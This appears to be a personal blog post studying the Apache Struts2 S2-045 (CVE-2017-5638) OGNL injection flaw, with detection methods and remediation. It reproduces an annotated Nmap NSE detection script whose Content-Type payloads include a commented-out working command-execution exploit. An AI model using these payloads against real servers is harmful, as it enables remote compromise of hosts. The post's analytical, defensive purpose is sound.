Skip to content

Published on June 16, 2025

Blog Post Analysis — Struts2 S2-045 Vulnerability Situation Analysis Report ​

S2-045 is an extremely severe remote code execution vulnerability in the Apache Struts 2 framework (ID: CVE-2017-5638)

OK, right off the bat I've run into unfamiliar terms, so let me go search for material on them first.

New Terms ​

Struts2 ​

First time I've seen this framework

Struts2 is a web application framework based on the MVC design pattern. It is essentially equivalent to a servlet: in the MVC design pattern, Struts2 acts as the Controller to establish the data interaction between the model and the view. Struts 2 is the next-generation product of Struts—a brand-new Struts 2 framework created by merging the technologies of Struts 1 and WebWork. Its all-new Struts 2 architecture differs enormously from the Struts 1 architecture. Struts 2 takes WebWork as its core and uses an interceptor mechanism to handle user requests; this design also lets the business logic controller be completely decoupled from the Servlet API, so Struts 2 can be understood as an updated product of WebWork.

Jakarta Multipart parser ​

Jakarta Multipart parser is the component in the Apache Struts2 framework used to handle file uploads.

When an HTML form needs to upload a file, it must use the multipart/form-data format. This format splits the form data and file contents into multiple parts, each with its own MIME type and boundary separator.

OGNL Expression Handling ​

OGNL (Object Graph Navigation Language) is a powerful expression language commonly used in Java applications to access and manipulate object graphs. It is widely used in frameworks such as Struts 2, allowing developers to dynamically get or set object properties and invoke methods through expressions.

Vulnerability Mechanism ​

This vulnerability stems from improper handling of uploaded files by the Jakarta Multipart parser. An attacker can trigger OGNL expression injection by crafting a specially formed Content-Type header, and then execute arbitrary system commands.

The S2-045 vulnerability exploits a flaw in the Jakarta Multipart parser when it handles uploaded files. When the Content-Type value contains special characters (such as %{}), the framework incorrectly parses it as an OGNL expression and executes it.

Impact in China ​

Monitoring by Beacon Lab found that more than 9,000 systems were affected by the S2-045 remote code execution vulnerability. Of these, more than 26 provinces and cities each had over 50 affected systems. Among the more than 100 commonly used HTTP service ports they monitored, 24 ports had more than 50 affected systems. In addition, when analyzing the carriers hosting the affected IP addresses, they found that more than 2,500 systems were hosted on Alibaba Cloud, plus a very small number hosted on Tencent Cloud.

Quite a few people still have very weak cybersecurity awareness. Commonly used ports must be properly protected. As for the analysis of carriers, I think cloud service providers mostly just sell server resources; as for being hit by a DDoS attack or bringing your own system down, that generally has nothing to do with the cloud provider. Of course, I'm only looking at this from the perspective of an individual retail customer, and this kind of software-level vulnerability isn't something cloud vendors can manage anyway.

Impact on Industrial Control Systems and ICS Enterprises ​

Under normal circumstances, the upper-layer information management systems of industrial control enterprises—for example ERP, OA, and production operations management systems—may be developed using the J2EE Struts2 framework. These systems are often directly exposed and published on the public Internet, so an attacker can exploit this vulnerability to execute code remotely and gain host privileges. This would let the attacker use the upper-layer information system as a pivot to penetrate and thereby affect the security of the internal industrial control systems. Beacon Lab confirmed that the S2-045 vulnerability has already affected certain online wind power, heating, and other operations management systems, as well as the information management systems of some key and well-known industrial control enterprises.

In other words, this vulnerability really does harm production environments, so it must not be underestimated, and major industrial control enterprises should remediate and upgrade promptly.

Detection Methods ​

Local Check ​

Users can check the struts-core.x.x.jar file in the /WEB-INF/lib/ directory under the web directory. If this version is between Struts2.3.5 and Struts2.3.31, or between Struts2.5 and Struts2.5.10, then the vulnerability exists.

Remote Check ​

In the HTTP request message sent to the server, modify the Content-Type field:

Content-Type:%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vul’,’vul’)}.multipart/form-data. If a vul: vul field item is present in the returned response message, that indicates the vulnerability exists.

This part exploits the Jakarta Multipart parser vulnerability by constructing a malicious Content-Type containing an OGNL expression to trigger remote code execution. If the vulnerability exists, the server executes the OGNL expression and adds vul: vul to the response headers.

Script-Based Tool Check ​

Using the Nmap-based NSE detection script provided by Beacon Lab to quickly discover the S2-045 vulnerability—so let's analyze this script.

lua
-- =============================================
-- Struts2 S2-045漏洞检测Nmap脚本
-- 功能:检测Struts2框架是否存在S2-045漏洞(CVE-2017-5638)
-- =============================================

-- 脚本基本信息定义
description = [[
Struts2 S2-045 Checks
]]

-- Nmap命令示例(可用于执行扫描)
-- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml

-- 参考链接与版权声明
-- BeaconLab https://plcscan.org/blog/
categories = {"discovery", "safe"}  -- 脚本分类:发现类、安全类
author = "Z-0ne"  -- 作者信息
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"  -- 许可证声明

-- 导入所需的NSE库
local http = require "http"       -- HTTP请求处理库
local target = require "target"   -- 目标主机处理库
local shortport = require "shortport"  -- 端口处理库
local stdnse = require "stdnse"   -- 标准NSE工具库
local table = require "table"     -- 表格处理库

-- =============================================
-- 端口扫描规则定义
-- 功能:指定脚本仅对状态为"open"的端口进行检测
-- =============================================
portrule = function(host, port)
  return port.state == "open"  -- 仅扫描开放的端口
end

-- =============================================
-- 核心检测逻辑
-- 功能:发送检测请求、分析响应并判断漏洞是否存在
-- =============================================
action = function(host, port)
  local output = stdnse.output_table()  -- 创建输出结果表
  local options                        -- HTTP请求选项
  
  -- 核心检测Payload(OGNL表达式)
  -- 功能:通过OGNL表达式向响应中写入特征字符串,验证漏洞存在性
  local payload = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('Struts2S2045Checks!!!')).(#o.close())}"
  
  -- 备用Payload(可用于执行系统命令,默认注释)
  -- local payload_cmd = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  
  local useragent = "Mozilla/5.0"  -- 设置User-Agent模拟浏览器请求
  
  -- 配置HTTP请求选项
  options = {header = {}, timeout = 15000}  -- 初始化选项(请求头、超时时间15秒)
  options["header"]["Content-type"] = payload  -- 设置恶意Content-Type(包含OGNL表达式)
  options["header"]["User-Agent"] = useragent  -- 设置User-Agent
  
  -- 发送HTTP GET请求到目标主机的根路径
  local response = http.get(host, port, "/", options)
  
  -- =============================================
  -- 处理HTTP 200响应(正常响应)
  -- =============================================
  if response.status == 200 then
    -- 检查响应体是否包含漏洞特征字符串
    if string.find(response.body, "Struts2S2045Checks") ~= nil then
      -- 排除phpinfo页面干扰(避免PHP环境误判)
      if string.find(response.body, "phpinfo") == nil then
        -- 根据响应长度判断漏洞状态(处理不同环境的换行符差异)
        -- 响应长度21:纯文本输出(无换行符)
        if #response.body == 21 then
          output["status"] = "S2-045-AChecks vuln21"
          return output
        -- 响应长度22:包含\n换行符
        elseif #response.body == 22 then
          output["status"] = "S2-045-AChecks vuln22"
          return output
        -- 响应长度23:包含\r\n换行符
        elseif #response.body == 23 then
          output["status"] = "S2-045-AChecks vuln23"
          return output
        -- 响应长度小于50:可能为正常漏洞响应
        elseif #response.body < 50 then
          output["status"] = "S2-045-AChecks"
          output["resplength"] = #response.body  -- 记录响应长度
          return output
        -- 响应长度过大:可能为误报
        else
          output["status"] = "S2-045-AChecks lengtherror"
          output["resplength"] = #response.body  -- 记录异常长度
          return output
        end
      end
    end
  end
  
  -- =============================================
  -- 处理HTTP 302重定向响应
  -- =============================================
  if response.status == 302 then
    if response.location then
      -- 解析重定向URL(获取主机和路径)
      local parseurl = http.parse_url(response.location[#response.location])
      -- 发送新请求到重定向后的地址(保持原请求头)
      local response = http.get(parseurl.host, port, parseurl.path, options)
      
      -- 重定向后的响应处理(与正常响应逻辑相同)
      if response.status == 200 then
        if string.find(response.body, "Struts2S2045Checks") ~= nil then
          if string.find(response.body, "phpinfo") == nil then
            if #response.body == 21 then
              output["status"] = "S2-045-BChecks vuln21"
              return output
            elseif #response.body == 22 then
              output["status"] = "S2-045-BChecks vuln22"
              return output
            elseif #response.body == 23 then
              output["status"] = "S2-045-BChecks vuln23"
              return output
            elseif #response.body < 50 then
              output["status"] = "S2-045-BChecks"
              output["resplength"] = #response.body
              return output
            else
              output["status"] = "S2-045-BChecks lengtherror"
              output["resplength"] = #response.body
              return output
            end
          end
        end
      end
    end
  end
  
  -- =============================================
  -- 调试功能(默认注释,可取消注释用于问题排查)
  -- =============================================
  -- if response.status == 404 and response.body then
  --   output["status"] = "S2-045-CChecks"
  --   output["res"] = response.body
  --   return output
  -- end
end

Remediation ​

Affected users can upgrade to Apache Struts 2.3.32 or Apache Struts 2.5.10.1 to eliminate the impact of the vulnerability.

If upgrading is inconvenient, then just delete the commons-fileupload-x.x.x.jar file and stop uploading files

This work is licensed under CC BY-NC 4.0.